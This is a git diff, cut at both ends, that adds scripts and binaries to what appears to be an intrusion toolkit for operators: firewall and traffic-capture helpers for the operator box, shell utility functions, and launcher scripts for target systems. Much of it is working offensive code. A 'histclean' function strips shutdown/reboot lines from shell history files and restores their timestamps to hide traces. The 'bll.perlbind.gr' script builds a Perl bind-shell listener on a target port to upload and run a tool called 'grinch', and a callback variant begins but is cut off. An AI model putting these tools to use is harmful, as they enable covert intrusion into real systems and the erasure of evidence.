-o lo -j ACCEPT', + ipt + '-t filter -A OUTPUT -o eth1 -j ACCEPT', + ipt + '-t filter -A OUTPUT -o eth0 -p tcp -s ' + ext_ip + ' -d 0.0.0.0/0 --dport 80 -j ACCEPT -m state --state NEW,ESTABLISHED', + ipt + '-t filter -A OUTPUT -o eth0 -p tcp -s ' + ext_ip + ' -d 0.0.0.0/0 --dport 443 -j ACCEPT -m state --state NEW,ESTABLISHED', + ipt + '-t filter -A OUTPUT -o eth0 -p udp -s ' + ext_ip + ' -d 0.0.0.0/0 --dport 53 -j ACCEPT', + ipt + '-t filter -A OUTPUT -o eth0 -p icmp -s ' + ext_ip + ' -d 0.0.0.0/0 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT' + ] + fwd_rules = [ + ipt + '-t filter -P FORWARD DROP' + ] + + for r in in_rules: + lo_execute(r) + for r in out_rules: + lo_execute(r) + for r in fwd_rules: + lo_execute(r) + + +def lo_allow_ip(ip): + + lo_execute(ipt + '-t filter -A INPUT -i eth0 -p all -s ' + ip + ' -d ' + ext_ip + ' -j ACCEPT') + lo_execute(ipt + '-t filter -A OUTPUT -p all -s ' + ext_ip + ' -d ' + ip + ' -j ACCEPT') + + +def lo_remove_ip(ip): + + lo_execute(ipt + '-t filter -D INPUT -i eth0 -p all -s ' + ip + ' -d ' + ext_ip + ' -j ACCEPT') + lo_execute(ipt + '-t filter -D OUTPUT -p all -s ' + ext_ip + ' -d ' + ip + ' -j ACCEPT') + + +# check if the local rules are set for http to communicate with +# the gateway +def lo_rules_set(): + + rules = lo_get_rules() + + if re.search('0.0.0.0/0 +' + ext_ip + ' +tcp spt:80', rules) != None and \ + re.search(ext_ip + ' +0.0.0.0/0 +tcp dpt:80', rules) != None: + return True + else: + return False + + + +######################################################### +# Other Functions +######################################################### + + +def check_ipv4_fmt(ip): + + if re.match('^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip) != None: + return True + else: + return False + + +def get_login(): + + global user + global password + + if user == '': + user = lo_execute('perl -e \'require ' + + '"/current/down/hostvars.global";' + + 'print "$gbl_opuser";\'') + if user == '': + user = raw_input('username: ') + + if password == '': + password = lo_execute('perl -e \'require ' + + '"/current/down/hostvars.global";' + + 'print "$gbl_oppasswd";\'') + if password == '': + password = getpass.getpass('password: ') + + return (user, password) + + +def write_alarm(alarm_file, alarm_sleep_file, timeout_mins): + + expires = time.ctime(time.time() + (timeout_mins * 60)) + sleep_secs = (timeout_mins - 30) * 60 + + # build alarm_file + script = '#!/bin/sh\n' + script += '/bin/rm -f $0\n' + script += 'EXPIRES="' + expires + '"\n' + script += 'while [ 1 ]; do\n' + script += ' clear\n' + script += ' echo -e "\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\a"\n' + script += ' echo -e "Current time: `date`\\n\\n\\n"\n' + script += ' [ "$EXPIRES" ] && echo -e "EXPIRES time: $EXPIRES\\n\\n\\n"\n' + script += ' echo -e "Your firewall rules will expire in 30 minutes.\\n\\n"\n' + script += ' echo -e "If necessary, use \\"fwrules.py -t \\" to re-set it,\\n"\n' + script += ' echo -e "or use the browser GUI to add more time.\\n\\n"\n' + script += ' echo -e "\\n\\n\\n\\n\\n\\n"\n' + script += ' echo "^C or close this window as desired, but this alarm has no snooze!"\n' + script += ' sleep 5\n' + script += 'done\n' + + f = open(alarm_file, 'w') + f.write(script) + f.close() + + # build alarm_sleep_file + script = '#!/bin/sh\n' + script += '/bin/rm -f $0\n' + script += 'chmod 0777 ' + alarm_file + '\n' + script += 'sleep ' + str(sleep_secs) + '\n' + script += 'exec xterm -ut +cm +cn -sk -sb -ls -title ALARM ' + script += '-geometry 174x52-53+26 -bg white -fg red -e ' + script += alarm_file + '\n' + + f = open(alarm_sleep_file, 'w') + f.write(script) + f.close() + os.system('chmod 0777 ' + alarm_sleep_file) + + +def start_alarm(timeout): + + kill_alarms('Alarm') + write_alarm('/tmp/Alarm.sh', '/tmp/AlarmSleep.sh', timeout) + os.system('/tmp/AlarmSleep.sh&') + + +def kill_alarms(alarm_grep): + + ps_line = lo_execute('ps -ef | grep ' + alarm_grep + ' | egrep -v grep') + + if len(ps_line) > 0: + lo_execute('pkill ' + alarm_grep) + + +def usage(prog): + + prog = prog.split(os.sep)[-1] + + print 'usage: ' + prog + ' [-t ] [-f content]' + print ' options:' + print ' -h show this help' + print ' -v print the version and exit' + print ' -d debug, print the commands being executed' + print ' -t set the alarm timeout [' + print '\n' + + + +######################################################### +# Main +######################################################### + + +def main(): + + global dbg + global ext_ip + global int_ip + global gw_ip + global logged_in + global duration + global user + global password + + user = '' + password = '' + print_it = False + reset = False + clear = False + set = False + ipaddr = None + addrule = False + set_timeout = False + duration = TIMEOUT + logged_in = False + + try: + opts, args = getopt.getopt(sys.argv[1:], 'hvdU:P:pscrt:A:D:') + except getopt.GetoptError, err: + print str(err) + usage(sys.argv[0]) + sys.exit(1) + + if len(opts) == 0: + usage(sys.argv[0]) + sys.exit(1) + + for o, a in opts: + if o == '-h': + usage(sys.argv[0]) + sys.exit(0) + elif o == '-v': + print '%s version %s' % (sys.argv[0].split(os.sep)[-1], version) + sys.exit(0) + elif o == '-p': + print_it = True + elif o == '-r': + reset = True + elif o == '-A': + if ipaddr is not None: + print 'ERROR: either -A or -D can be specified, not both' + sys.exit(1) + ipaddr = a + addrule = True + elif o == '-D': + if ipaddr is not None: + print 'ERROR: either -A or -D can be specified, not both' + sys.exit(1) + ipaddr = a + addrule = False + elif o == '-d': + dbg = True + elif o == '-c': + clear = True + elif o == '-t': + if re.match('^\d+[mh]?$', a) is None: + print 'ERROR: bad timeout format' + sys.exit(1) + if a[-1] == 'm': + duration = a[:-1] + elif a[-1] == 'h': + duration = str(int(a[:-1]) * 60) + else: + duration = str(int(a) * 60) + if int(duration) > 480: + print 'ERROR: timeout max is 480m or 8h' + sys.exit(1) + set_timeout = True + elif o == '-s': + set = True + elif o == '-U': + user = a + elif o == '-P': + password = a + + if (clear or set or reset) and not ((clear and not set and not reset) or + (not clear and set and not reset) or + (not clear and not set and reset)): + print 'ERROR: Only one of -s, -c, and -r can be specified' + sys.exit(1) + + if lo_execute('uname -s').strip() != 'Linux': + print 'ERROR: This script is only meant to be run in Linux.' + sys.exit(1) + + if ipaddr != None and not check_ipv4_fmt(ipaddr): + print 'ERROR: invalid IP address format' + sys.exit(1) + + ext_ip = lo_get_ip('eth0') + if ext_ip is None: + print 'ERROR: Could not get IP address for eth0' + sys.exit(1) + + int_ip = lo_get_ip('eth1') + if int_ip is None: + print 'ERROR: Could not get IP address for eth1' + sys.exit(1) + + gw_ip = gw_get_ip() + if gw_ip is None: + print 'ERROR: Could not get IP address for the gateway' + sys.exit(1) + + if clear: + print 'Removing firewall rules' + gw_clear_rules() + lo_clear_rules() + if print_it: + print gw_get_rules() + print lo_get_rules() + sys.exit(1) + + if set or reset: + if reset: + print 'Removing firewall rules' + gw_clear_rules() + lo_clear_rules() + + print 'Setting default firewall rules' + lo_set_default_rules() + gw_set_default_rules() + start_alarm(int(duration)) + + if ipaddr is not None and addrule and lo_rules_set(): + print 'Allowing all traffic to/from ' + ipaddr + gw_get_rules() + gw_allow_ip(ipaddr) + lo_allow_ip(ipaddr) + elif ipaddr is not None and not addrule and lo_rules_set(): + print 'Removing rule for ' + ipaddr + gw_get_rules() + gw_remove_ip(ipaddr) + lo_remove_ip(ipaddr) + + if set_timeout: + gw_set_timeout() + start_alarm(int(duration)) + + if print_it: + print 'Local iptables rules:\n' + print lo_get_rules() + print 'Gateway firewall rules:\n' + print gw_get_rules() + + gw_logout() + + +if __name__ == '__main__': + main() diff --git a/Linux/bin/alwayspcap.pl b/Linux/bin/alwayspcap.pl new file mode 100755 index 0000000..32ba2f0 --- /dev/null +++ b/Linux/bin/alwayspcap.pl @@ -0,0 +1,319 @@ +#!/usr/bin/env perl +use File::Basename ; +use File::Copy ; +require Time::Local; +require "getopts.pl"; +$VER="1.1.0.2" ; +$outfile = "unixdump"; +$outdir = "/home/black/tmp/pcaps"; +mkdir $outdir unless -d $outdir; +$SIG{INT} = \&catch_zap; +$SIG{TERM} = \&catch_zap; +$delaysecs = 2; + +myinit() ; +dbg("Fresh instance of $prog on $intf RESTART=$restart ourip=$ourip"); + +my %ipshit = (); +while (1) { + # Re-loop forever here. If between loops eth0 goes down, comes up, + # a new /current link is made, etc., we are good. That's what we want, + # is to always log on eth0, always to /current, do nothing if eth0 is + # not there. + $intf_info = `ifconfig $intf 2>/dev/null`; + ($ourip) = $intf_info =~ /\sinet addr:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/; + unless ($intf_info =~ /UP /) { + last unless mastercheck(); +# Have to remove this will fill up /current/tmp partition +# dbg("Interface $intf is not up....waiting $delaysecs secs trying again."); + sleep $delaysecs; + next; + } + # Start the ascii tcpdump to read from. We parse this + # and for each new IP we do not currently have a pcap + # running on, we fork and start one. + unless(open(TCPDUMP,"tcpdump -l -n -n -i $intf ip |")) { + last unless mastercheck(); +# Have to remove this will fill up /current/tmp partition +# dbg("Could not start tcpdump on $intf, waiting a few seconds, trying again"); + sleep $delaysecs; + next; + exit 1; + } + + while () { + last unless mastercheck(); + chomp; + # dbg("parsing:$_"); + my $newip = ""; + my $dbg=""; + if (/ IP $ourip.* > (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/) { + $newip = $1; + $dbg="found ours=$ourip > $newip"; + } elsif ( / IP (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}).* > $ourip/) { + $newip = $1; + $dbg="found $newip > ours=$ourip"; + } + next unless $newip ; + next if $ipshit{$newip}++; + $tstamp = timestamp(short); + $capfile = "$outfile.${tstamp}_${newip}__${ourip}"; + dbg("$dbg LINE=$_ THIS WILL START tcpdump -w to $capfile"); + startdump($intf,$newip,$capfile,$_); + } + undef %ipshit; + dbg("KILLED/DYING:tcpdump -l -n -n -i $intf ip"); + last unless mastercheck(); + dbg("Looping around for more, set RESTART=die to kill me."); +} +mydie("exiting: end of main"); +exit 0; +## END MAIN LOGIC + +##### SUBROUTINES ##### +sub mastercheck { + # We are done here if our $masterfile is gone, + # means theres a new master. This returns true + # if we ARE STILL THE MASTER. + return 1 if (-e $masterfile); + dbg("New master in town"); + return 0; +} + +sub startdump { + my $kidpid = fork; + return $kidpid if $kidpid; + # Child continues + local($intf,$newip,$capfile,$line) = (@_); + + # We put the $line that our (ascii) tcpdump saw + # at top of the .info file. + # Give below time to start, we append to the .info file it created + if (open(OUT,">> $outdir/$capfile.info")) { + dbg("Writing to $capfile.info: ".timestamp() . " tcpdump -l -n -n -i $intf ip CAPTURED: $line"); + print OUT "# ". timestamp() . " tcpdump -l -n -n -i $intf ip CAPTURED:\n". + "$line\n"; + } + close(OUT); + + # Start tcpdump. Odd: If we do not redirect stderr here, it ends up as first + # line of the -w output file, which breaks it. + + # NOTE: exec a bit cleaner here. Code works either way, just have one + # extra perl process per tcpdump out there with system. But with system, + # we get to see the dbg of the unixdump ending if we care. +# system("tcpdump -i $intf -U -s0 -w $outdir/$capfile host $newip 2>>$outdir/$capfile.info"); + exec("tcpdump -i $intf -U -s0 -w $outdir/$capfile host $newip 2>>$outdir/$capfile.info"); + dbg("Child unixdump for $newip on $intf dying"); + exit 0; +} + +sub hostinit { + # Some one-off things we want done per host, good place for it while + # alwayspcap.pl lives on. + # TODO: If we replace alwayspcap.pl, put this in scrubhands? mabye... + unless (-f "/usr/local/sbin/linksfixed") { + foreach my $targetfile ("/usr/lib/libreadline.so") { + next unless (-f $targetfile or -l $targetfile); + my $str = basename($targetfile); + my @files = split(/\n/,`grep -l $str $opbin/*`); + my $newlib = ""; + foreach my $file (@files) { + ($newlib) = grep /$str.*not found/ , `ldd $file`; + next unless $newlib; + ($newlib) = $newlib =~ /^\s*(\S+)\s/; + if ($newlib) { + `ln -sf $targetfile /usr/lib/$newlib`; + $created .= " ln -sf $targetfile /usr/lib/$newlib\n"; + } + } + } + writefile("/usr/local/sbin/linksfixed",scalar gmtime()."\n". + "By alwayspcap. Created these links:\n$created\n"); + } +} + + +sub myinit { + my $gotutils=0; + my $waitcount=1; + while (1) { + sleep 2 unless $waitcount < 2; + # Loop up to 4min, if no autoutils by then we die + foreach ("../etc/autoutils", + "/current/etc/autoutils", + "autoutils", + "NOTTHERE" + ) { + if (-r $_) { + require $_ or next; + progprint("Sourcing $_",STDOUT) + if ($inlab and ! ("@ARGV" =~ /-\S*[hv]/i)); + $gotutils++; + last; + } + } + if ($gotutils) { + sleep 3 unless $waitcount < 10; + mywarn("Just read in autoutils after $waitcount x 2 seconds") + unless length $ENV{RCLOCAL}; + dbg("Just read in autoutils after $waitcount x 2 seconds"); + last; + } + last if $waitcount++ > 120; + } + die("Could not find autoutils. Cannot run $0\n.") + unless $gotutils; + $| = 1; + + hostinit(); + + $intf = $ENV{INTERFACE}; + $restart = 1 if $ENV{RESTART}; + $restart = 0 if $ENV{RESTART} eq "0"; + $thendie = $ENV{RESTART} =~ /die/i; + $usagetextshort = setusagetext(); + + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + usage() if ($opt_h or $opt_v) ; + mydie("INTERFACE is not set") unless $intf or $thendie; + $intf_info = `ifconfig $intf 2>/dev/null`; + mydie("Invalid INTERFACE=$intf") + unless $intf or $thendie; + dbg("Got restart=$restart thendie=$thendie intf=$intf intf_info=$intf_info="); + + # This is my master file, we only write it if we are master + # after removing all other master files first who will then + # know to die off. + $masterfile = "$outdir/alwayspcap.master.$$"; + # Check if we are only or RESTART instance + my @otherpids = progalreadyrunning(); + if (@otherpids) { + dbg("progalreadyrunning=(@otherpids)"); + unless($restart) { + # If already running and RESTART= not set, we just exit + dbg("mydying quietly, $prog[@otherpids] already running"); + mydie("dying quietly, $prog[@otherpids] already running"); + exit 1 ; + dbg("NOT dying quietly TESTING ONLY"); + } else { + `rm -f $outdir/alwayspcap.master*`; + my $s = "s" if @otherpids > 1; + my $perlpid = $otherpids[0]; + mywarn("Killing other instance$s of ${prog}[@otherpids] to start anew") + unless length $ENV{RCLOCAL}; + dbg("ps -ef | egrep \"unixdump|perl|pcap\"\n".`ps -ef | egrep "unixdump|perl|pcap" | grep -v grep`); + # Must kill tcpdumps run by @otherpids, sleep a bit, then if + # still there we kill @otherpids, then we can continue + # or if $thendie we just die not starting any new stuff + # ($thendie should be used in debugging only) + my @psoutput = `ps -efwwww | grep -v grep | egrep -v "root [ ]*$$"`; + my $toomany=0; + while (1) { + foreach (@psoutput) { + # Look here for only tcpdumps writing to unixdump, + # not the shells that spawned them. + next unless / (\d+) .*tcpdump .*-w.*unixdump.* host ([\d\.]*)/; + my ($pid,$ip) = ($1,$2); + my $exe = `ls -l /proc/$pid/exe 2>/dev/null`; + $exe =~ s/.* \-\> //g; + next unless $exe =~ m,tcpdump,; + dbg("Killing pid=$pid on ip=$ip exe=$exe: $_"); + kill(TERM,$pid); + } + $toomany++; + @otherpids = progalreadyrunning(); + dbg("In infinite otherpids loop (@otherpids)"); + dbg("ps shows\n".`ps -ef |egrep "perl|tcpdu"`); + last unless @otherpids; + kill(TERM,@otherpids) if @otherpids; + sleep 1; + dbg("AFTER kill otherpids=(@otherpids) SHOULD EVENTUALLY BE EMPTY") + if @otherpids; + last if $toomany > 55; + } + mydie("VERY BAD: other $prog instances are still running even though this one just sent kill(TERM,@otherpids)") + if @otherpids; + } + } + @otherpids = ("none") unless @otherpids; + if ($thendie) { + dbg("Exiting after killing other instances if any"); + mydie("Exiting after killing other instances if any"); + } + + # Now we touch $masterfile as we are it + mydie("BAD CANNOT WRITE TO MY MASTERFILE") unless open(OUT,">$masterfile"); + print OUT "$$\n"; + close(OUT); + + # fork/exit so parent returns immediately + fork and exit 0; + + # All prints from now on via dbg() only to dammit file + close(STDOUT); + close(STDERR); + close(STDIN); + + # Set a few more things then continue + ($ourip) = $intf_info =~ /\sinet addr:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s/; +} + +sub progalreadyrunning { + # ps grep out us print just pids + my @hits = split(/\n/, + `ps -efwwww | grep -v grep | grep "$prog" | egrep -v "root [ ]*$$" | awk '{print \$2}'`); + return @hits; +# return map { $_ =~ s/^\s*\S+\s+(\d+).*/\1/ },@hits; +} + +sub catch_zap { + dbg("caught TERM, stopping capture on $intf to $capfile"); + close(TCPDUMP); + if ($capfile) { +# sleep 5; + } +# exit 0; +} # end sub catch_zap + +sub setusagetext { + return " +Usage: $prog [-h|-v] + +OPTIONS: -h and -v show help and version, respectively. + +With no options, and INTERFACE set to a valid interface, $prog +will daemonize and then run and parse a tcpdump on that interface. +(Unless another copy of $prog is running already, in which case +it exits quietly.) If the interface goes down, $prog will try +every few seconds to start again. So $prog can and will ALWAYS +run on the op box. Anytime the interface goes down or the tcpdump is +killed, the child process that started it will exit. + +For every IP from which our INTERFACE receives traffic, a separate +tcpdump -w will be run in a child process collecting all raw data +from that IP. At the end of your op, getopdata will rename all of +these files to: + + $outfile.SRCIP__OURIP.IP.TIMESTAMP.HOSTNAME.pcap + +where SRCIP generated the traffic to our OURIP and IP.HOSTNAME is +the (first) PITCHIMPAIR host in opnotes.txt. (So it will only be put +in ONE pitchimpair's directory, not several if we switch pitches.) + +The data files written to will be in $outdir and +initially called $outfile.SRCIP__OURIP.TIMESTAMP. Whatever +/current points to is where the capture files will be generated +(i.e., always in /current/down). + +It first checks in /proc for another instance of $prog, and +does nothing if one is already running. Or set the RESTART= variable, +and $prog will first kill the running instance and all its +tcpdump children, then start a fresh instance. This will stop all +previous capture files (potentially in an old /current after scrubhands +was just run), allowing the new instance to start fresh files in the +new /current/down. scrubhands runs \"RESTART=yes $prog\" every +time it starts a new session. + +"; +} diff --git a/Linux/bin/apache-ssl-linux b/Linux/bin/apache-ssl-linux new file mode 100755 index 0000000..66934dc Binary files /dev/null and b/Linux/bin/apache-ssl-linux differ diff --git a/Linux/bin/apache-ssl-linux_v2 b/Linux/bin/apache-ssl-linux_v2 new file mode 100755 index 0000000..472e5f2 Binary files /dev/null and b/Linux/bin/apache-ssl-linux_v2 differ diff --git a/Linux/bin/apache-ssl-linux_v3 b/Linux/bin/apache-ssl-linux_v3 new file mode 100755 index 0000000..d6022e2 Binary files /dev/null and b/Linux/bin/apache-ssl-linux_v3 differ diff --git a/Linux/bin/autofixnamewithslashes b/Linux/bin/autofixnamewithslashes new file mode 100755 index 0000000..ed487e9 --- /dev/null +++ b/Linux/bin/autofixnamewithslashes @@ -0,0 +1,16 @@ +#!/bin/sh +VER=1.0.0.1 +[ "$1" = "-v" ] && echo $0 v.$VER && exit +echo "$1" | grep -q "/" || ( echo -e " +Usage: $0 NOPEN_NAME_WITH_SLASHES + +$0 creates the right directories for you. + +Namely: ../down/DIRNAME ../down/history/DIRNAME and ../down/cmdout/DIRNAME + +$0 v.$VER +" && exit) +export DIRNAME=`dirname $1` +#echo running: +#echo " mkdir -pv /current/down/$DIRNAME /current/down/{history,cmdout}/$DIRNAME" +mkdir -pv /current/down/$DIRNAME /current/down/{history,cmdout}/$DIRNAME diff --git a/Linux/bin/b b/Linux/bin/b new file mode 100755 index 0000000..e905bcb Binary files /dev/null and b/Linux/bin/b differ diff --git a/Linux/bin/bashfunctions b/Linux/bin/bashfunctions new file mode 100755 index 0000000..288806a --- /dev/null +++ b/Linux/bin/bashfunctions @@ -0,0 +1,187 @@ +#!/bin/bash -m + +# bashfunctions is run via source (or "."). +# It defines a bunch of variables and functions for the calling script. +# It also does a few things only when sourced by scrubhands. + + +BASHFUNCTIONSVER=1.0.0.1 + +PROG=`basename ${0}` +TOOLS=bin +DOWN=down +TEXTS=etc +DOC=doc +UP=up +MAILDIR=mailpull +COMMANDSDIR=targetcommands +if [ "$PROG" = "scrubhands" ] && [ "`echo \"$*\" | grep -- -G`" ] ; then + TESTGETOPDATA=yes + TOP=/tmp +fi + + +# Set TOP if not set, to either /current link if there or /tmp +if [ ! "$TOP" ] ; then + TOP=/current + [ -L /current ] || TOP=/tmp +fi + +OS=`uname -s` +if [ "$OS" = "Linux" ]; then + MINUSN=-n +else + MINUSN="" +fi + + +OSVERSION=`uname -r` +[ "$TOP" ] || TOP=/home/black/tmp +[ "$PUBLICETHER" ] || PUBLICETHER=eth0 +[ "$PRIVATEETHER" ] || PRIVATEETHER=eth1 +[ "$DATE" ] || DATE=. + +histclean() { + HISTCLEAN="" + TMPHIST=/tmp/.h.$$ + DOFILES="$* `ls /.*history /*/.*history /*/*/.*history 2>/dev/null`" + + for F in $DOFILES ; do + [ -f "$F" ] || continue + egrep -q "shutdown|reboot|halt|init 0" $F || continue + egrep -v "shutdown|reboot|halt|init 0" $F > $TMPHIST + touch -r $F $TMPHIST + cat $TMPHIST > $F + touch -r $TMPHIST $F + HISTCLEAN="$HISTCLEAN $F" + done + [ "$HISTCLEAN" ] && notered "Cleaned #shutdown|reboot|halt|init 0# lines from $HISTCLEAN" + rm -f $TMPHIST + unset TMPHIST HISTCLEAN DOFILES +} + + +fixpath() { + # Take any number of PATHs or PATH variables as input, + # Return/echo one in that order with no duplicates (via echo, so use + # backticks or other redirection to take the return value and use it). + # Spaces in any individual PATH entry will be lost, do not do that. + # However, along the way, we: + # Remove all trailing slashes + # Make all slashes single + # Skip . and ./ and any that start with ../ + + export NEWPATH= + unset DONEFIRST + echo -n PATH= + # echo $* | sed "s,//*,/,g" | \ # Make all slashes single + # sed "s/PATH=//g" | \ # Get rid of PATH= if there + # tr ":" " " | \ # Change all : to a space + # tr " " "\n" | \ # Put one path per line + # while read P # Define P once per path + echo $* | sed "s,//*,/,g" | sed "s/PATH=//g" | tr ":" " " | tr " " "\n" | while read P ; do + # Remove all trailing slashes + P=`echo $P | sed "s,/*$,,g"` + echo :$NEWPATH: | grep -q ":$P:" && continue + # Skip . and ./ and any that start with ../ + [ "$P" = "." -o "$P" = "./" ] && continue + [ "$P" = ".." -o "${P:0:3}" = "../" ] && continue + NEWPATH=$NEWPATH:$P + [ "$DONEFIRST" ] && echo -n : + echo -n $P + DONEFIRST=done + done + echo +} + +ColorsOff() { + unset COLOR_SUCCESS + unset COLOR_FAILURE + unset COLOR_WARNING + unset COLOR_NORMAL + unset COLOR_NOTE + unset SETCOLOR_SUCCESS + unset SETCOLOR_FAILURE + unset SETCOLOR_WARNING + unset SETCOLOR_NORMAL + unset SETCOLOR_NOTE +} + +PreserveFile() { + # Save off $1 if it exists as $1.duplicate.TIMESTAMP. + # If $2 given, save at most that many dupes. + [ "$1" ] || return + [ -e $1 ] || return + MYDATE=`date -u +%Y%m%d%H%M%S` + # Make sure we only have digits in KEEP + MYKEEP=`echo $2 | sed "s/[^0-9]//g"` + if [ "$MYKEEP" ] ; then + MYCOUNT=1 + ls -1t $1.DUPLICATE* | + while read name ; do + [ $((MYCOUNT++)) -ge $MYKEEP ] || continue + rm -f $name + done + fi + mv $1 $1.DUPLICATE.$MYDATE + unset MYDATE MYKEEP MYCOUNT +} + +note() { + unset N + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_NOTE${*}$COLOR_NORMAL" +} +notered() { + unset N EXIT + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-n" ] ; then + N=$1 + shift + fi + echo -e $N "$COLOR_FAILURE${*}$COLOR_NORMAL" + [ "$EXIT" ] && exit +} + + +usage() { + unset EXIT + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" -a "$usagetext" ] ; then + shift + echo -e "$usagetext" + fi + # We want -v output to be just two digits, so scrubver is #.# + # and suitever can have whole #.#.#.# in it. + if [ "$1" = "-v" -o "$1" = "-h" ] ; then + if [ ! "$VER" -a "$SCRUBVER" ] ; then + echo "$PROG version $SCRUBVER" + elif [ "$VER" ] ; then + echo "$PROG version $VER" + else + echo "$PROG -- unknown version number" + fi + shift + fi + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + notered "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + + +COLOR_SUCCESS="\\033[1;32m" +COLOR_FAILURE="\\033[1;31m" +COLOR_WARNING="\\033[1;33m" +COLOR_NORMAL="\\033[0;39m" +COLOR_NOTE="\\033[0;34m" +SETCOLOR_SUCCESS="echo -en $COLOR_SUCCESS" +SETCOLOR_FAILURE="echo -en $COLOR_FAILURE" +SETCOLOR_WARNING="echo -en $COLOR_WARNING" +SETCOLOR_NORMAL="echo -en $COLOR_NORMAL" +SETCOLOR_NOTE="echo -en $COLOR_NOTE" + diff --git a/Linux/bin/beeps b/Linux/bin/beeps new file mode 100755 index 0000000..2fee99c --- /dev/null +++ b/Linux/bin/beeps @@ -0,0 +1,11 @@ +#!/bin/sh +exec 1>&2 +I=5 +[ "$1" ] && [ $1 -gt 0 ] && I=$1 +for ((i=1 ; i<=$I ; i++)) ; do + echo -en "\a" + usleep 200000 + echo -en "\a" + usleep 200000 + usleep 300000 +done diff --git a/Linux/bin/bl_light b/Linux/bin/bl_light new file mode 100755 index 0000000..ae66b16 Binary files /dev/null and b/Linux/bin/bl_light differ diff --git a/Linux/bin/bll.perlbind.gr b/Linux/bin/bll.perlbind.gr new file mode 100755 index 0000000..33175b1 --- /dev/null +++ b/Linux/bin/bll.perlbind.gr @@ -0,0 +1,142 @@ +#!/bin/sh +VER=1.0.0.1 +########################################################## +### Generate & run the following scripts: +### - script to upload grinch on target (gr_upload.scr) +### - script to upload gr_upload.scr (initial_upload.scr) +### - run grins/frowns/whatever using the above scripts +########################################################## + +# Some default values +SCRIPT="/tmp/.t" +DIR="/tmp/.X11R6" +CALLBACK_PORT=32177 +PROGNAME=`basename $0` +# Listener respawns for ten minutes +BURNAT=600 + +usage() { + echo $PROGNAME v.$VER + [ "$1" = "v" ] && exit 1 + cat < (required) + -l (required) + -P /path (path perl lives in, defaults to searching \$PATH) +EOF + [ "$*" ] && echo -e "\a\n\nERROR: $*\n" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# + while getopts i:p:hvl:P: op; do + case $op in + h|v) usage $op;; + i) TARGET_IP="$OPTARG";; + l) CALLBACK_IP="$OPTARG";; + p) TARGET_PORT="$OPTARG";; + P) PERLPATH="$OPTARG/";; + esac + done + cmdFlag="-c" + shift `expr $OPTIND - 1` + +# Check for required args + [ -z "$TARGET_IP" ] && echo "Error: missing remote IP -i argument" && usage + [ -z "$TARGET_PORT" ] && echo "Error: missing remote port -p argument" && usage + +if [ ! "${PERLPATH:0:1}" = "/" ] ; then + usage "-P argument \"$PERLPATH\" must start with /" +fi +PERLPATH=`echo "$PERLPATH" | sed "s,//,/,g"` +PERLLEN=`echo -n $PERLPATH | wc -c` +PERLLEN=$((PERLLEN-4)) +PERLTEST=${PERLPATH:$PERLLEN} + +if [ "$PERLTEST" = "perl" ] ; then + echo -e "Your path (-P) argument ends in \"perl\", so we will be running:\n\n" + echo -e " $PERLPATH/perl\n\n" + echo -en "^C to abort now if that is wrong, or hit return to continue. " + read blah +fi + +if [ "${TARGET_IP:0:3}" = "127" ] ; then + echo -e "For your NOPEN tunnel window:\n\nl $TARGET_PORT TARGET_IP\n" +fi + + +# This exec one is silly...that would start a second +# listener AFTER we connect +#RUN_WHAT="fork or exec \"/bin/sh\"" +RUN_WHAT="system \"/bin/sh\"" + +#CMD="/sbin/sh -c (perl -MIO -e 'if (\$k=fork){\$i=$BURNAT;while(\$i--){sleep 1};kill(9,\$k);exit}chdir(\"/tmp\");while(\$c=new IO::Socket::INET(LocalPort,$TARGET_PORT,Reuse,1,Listen)->accept){\$~->fdopen(\$c,w);STDIN->fdopen(\$c,r);STDERR->fdopen(\$c,w);$RUN_WHAT}')&" +CMD="/bin/sh -c \\\"${PERLPATH}perl -MIO -e 'use IO::Socket::INET;if (\\\$k=fork){\\\$i=$BURNAT;while(\\\$i--){sleep 1};kill(9,\\\$k);exit}chdir(\"/tmp\");while(\\\$c=new IO::Socket::INET(LocalPort,$TARGET_PORT,Reuse,1,Listen)->accept){\\\$~->fdopen(\\\$c,w);STDIN->fdopen(\\\$c,r);STDERR->fdopen(\\\$c,w);$RUN_WHAT}'\\\"" +CMD="${PERLPATH}perl -MIO -e 'use IO::Socket::INET;if (\\\$k=fork){\\\$i=$BURNAT;while(\\\$i--){sleep 1};kill(9,\\\$k);exit}chdir(\"/tmp\");while(\\\$c=new IO::Socket::INET(LocalPort,$TARGET_PORT,Reuse,1,Listen)->accept){\\\$~->fdopen(\\\$c,w);STDIN->fdopen(\\\$c,r);STDERR->fdopen(\\\$c,w);$RUN_WHAT}'&" + + +#CMD=`echo "$CMD" | sed "s/\$/\\\$/g"` +#CMD=`echo "$CMD" | sed "s/\$/\\\$/g"` + +echo -e "perl listener command will be: +$CMD+" + +#usage "FATAL: Could not get this perlbind version to work right yet.\n Try either bll.telnet.gr or bll.perlcallback.gr." + +cat </dev/null` +[ "$CALLBACK_PORT" ] || CALLBACK_PORT=32177 +PROGNAME=`basename $0` + +usage() { + echo $PROGNAME v.$VER + [ "$1" = "v" ] && exit 1 + cat < (required) + -l (required) + -p (random by default) + -P /path (path perl lives in, defaults to searching \$PATH) +EOF + + [ "$*" ] && echo -e "\a\n\nERROR: $*\n" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# + while getopts i:p:hvl:P: op; do + case $op in + h|v) usage $op;; + i) TARGET_IP="$OPTARG";; + l) CALLBACK_IP="$OPTARG";; + p) CALLBACK_PORT="$OPTARG";; + P) PERLPATH="$OPTARG/";; + esac + done + cmdFlag="-c" + shift `expr $OPTIND - 1` + +# Check for required args +[ -z "$TARGET_IP" ] && echo "Error: missing remote IP -i argument" && usage +[ -z 